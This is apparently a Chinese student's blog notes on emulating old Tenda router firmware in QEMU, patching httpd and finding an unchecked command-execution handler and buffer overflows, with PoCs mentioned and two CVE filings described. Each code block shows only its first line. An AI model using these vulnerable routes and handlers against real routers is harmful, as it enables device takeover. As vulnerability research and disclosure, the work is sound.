一个老固件了😢
FH1201
固件解包需要下载 sasquatch
1 | $ git clone https://github.com/devttys0/sasquatch --depth=1 |
32位 mips 小端序
1 | $ file bin/busybox |
网卡
1 | $ sudo brctl addbr br0 |
只需要模拟 httpd
1 | $ cp $(which qemu-mipsel-static) . |
需要patch一部分
1 | $ ~/idapro-9.0/ida64 bin/httpd |
patch main函数的check_network
函数。
1 | loc_489228: |
goahead webserver框架,查看路由
1 | websFormDefine("exeCommand", formexeCommand); |
漏洞代码:可以看出来cmd没做检查,最后直接有个 else
也就是可以执行任意命令。
1 | FILE *__fastcall formexeCommand(int a1) |
PoC
1 | import requests |
可以成功命令执行
在复现一下其余的:fromDhcpListClient
函数
1 | int __fastcall fromDhcpListClient(int a1) |
针对 [1]
1 | import requests |
针对 [2]
1 | import requests |
漏洞利用
- MIPS ROP?
- rwx shellcode
漏洞挖掘
查看tenda httpd相关漏洞,栈溢出
- 命令注入
- strcpy
- sprintf
- strcat
用插件:VulFi: IDA Pro plugin,寻找到一个 formWrlExtraGet
,没有人申请?
1 | int __fastcall formWrlExtraGet(int a1) |
PoC 导致DoS
1 | import requests |
AC10U v1.0
1 | A vulnerability was found in Tenda AC10U 15.03.06.49 and classified as critical. This issue affects the function formexeCommand of the file /goform/execCommand. The manipulation of the argument cmdinput leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-257459. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. |
下载固件,测试。AC10U v1.0 Firmware
依然是MIPS LSB,patch 3处
1 | // 1 |
测试溢出
1 | import requests |
复现时?看了一眼,没注册路由???
1 | <html><head><title>Document Error: Data follows</title></head> |
CVE申请
这些产品 unsupported
,因此公布没什么问题, 直接向CVE网站报告就行
- 这里需要注意,正在卖钱的产品最好还是向官方报告。
参考这篇文章就行:水一篇文章:如何水一个 CVE
申请了两个CVE(等待了两个星期)
- CVE-2024-44858
- CVE-2024-44859
以后多看看新出的CVE,看看能不能捡漏😋
刷CVE找很久没更新的并且有点年代感的固件,狠狠的刷🥵
- httpd
- cgi
- WEB 服务
并且做IoT还是得需要硬件支持,否则测试蛮难受的。焊板子挺有趣,但是我只是个穷学生😭,还是用qemu